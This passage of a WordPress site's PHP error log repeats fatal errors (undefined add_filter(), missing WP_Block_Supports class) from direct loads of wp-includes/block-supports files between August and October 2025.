  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[24-Aug-2025 00:14:38 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[24-Aug-2025 00:14:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[24-Aug-2025 00:14:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[24-Aug-2025 00:14:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[24-Aug-2025 00:14:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[24-Aug-2025 00:16:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[24-Aug-2025 00:16:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[24-Aug-2025 00:16:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[24-Aug-2025 12:36:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[24-Aug-2025 17:22:47 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[27-Oct-2025 15:59:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[27-Oct-2025 16:02:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[27-Oct-2025 16:03:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[27-Oct-2025 16:04:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[27-Oct-2025 16:05:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[27-Oct-2025 16:08:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[27-Oct-2025 16:09:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[27-Oct-2025 16:12:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[27-Oct-2025 16:14:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[27-Oct-2025 16:16:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[27-Oct-2025 16:17:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[27-Oct-2025 16:23:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[27-Oct-2025 16:27:08 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[27-Oct-2025 16:27:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[27-Oct-2025 16:29:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[27-Oct-2025 16:30:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[27-Oct-2025 16:42:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[28-Oct-2025 19:10:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[28-Oct-2025 19:12:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[28-Oct-2025 19:15:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[28-Oct-2025 19:16:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[28-Oct-2025 19:18:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[28-Oct-2025 19:22:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[28-Oct-2025 19:25:15 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[28-Oct-2025 19:26:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[28-Oct-2025 19:28:21 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[28-Oct-2025 19:30:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[28-Oct-2025 19:31:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[28-Oct-2025 19:32:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[28-Oct-2025 19:33:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[28-Oct-2025 19:36:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[28-Oct-2025 19:37:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[28-Oct-2025 19:38:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[28-Oct-2025 19:39:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[28-Oct-2025 19:45:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[28-Oct-2025 19:45:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[28-Oct-2025 19:46:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[28-Oct-2025 19:53:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[28-Oct-2025 19:55:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[28-Oct-2025 19:56:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[28-Oct-2025 19:58:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[28-Oct-2025 19:59:11 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[28-Oct-2025 20:00:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[28-Oct-2025 20:01:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[28-Oct-2025 20:03:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[28-Oct-2025 20:05:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[28-Oct-2025 20:08:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[28-Oct-2025 20:11:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[28-Oct-2025 20:12:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[28-Oct-2025 20:13:19 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[28-Oct-2025 20:14:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[28-Oct-2025 20:17:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[28-Oct-2025 20:18:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[28-Oct-2025 20:21:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[28-Oct-2025 20:22:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[28-Oct-2025 20:24:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[28-Oct-2025 20:25:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[28-Oct-2025 20:27:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[28-Oct-2025 20:28:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[28-Oct-2025 20:31:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[28-Oct-2025 20:32:18 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[28-Oct-2025 20:33:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[28-Oct-2025 20:34:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[28-Oct-2025 20:35:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[28-Oct-2025 20:41:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[28-Oct-2025 20:43:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[28-Oct-2025 20:43:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[28-Oct-2025 20:47:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[28-Oct-2025 20:48:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[28-Oct-2025 20:49:35 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[28-Oct-2025 20:50:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[28-Oct-2025 20:51:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[28-Oct-2025 20:52:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[28-Oct-2025 20:53:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[28-Oct-2025 20:54:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[28-Oct-2025 20:55:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[28-Oct-2025 20:56:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
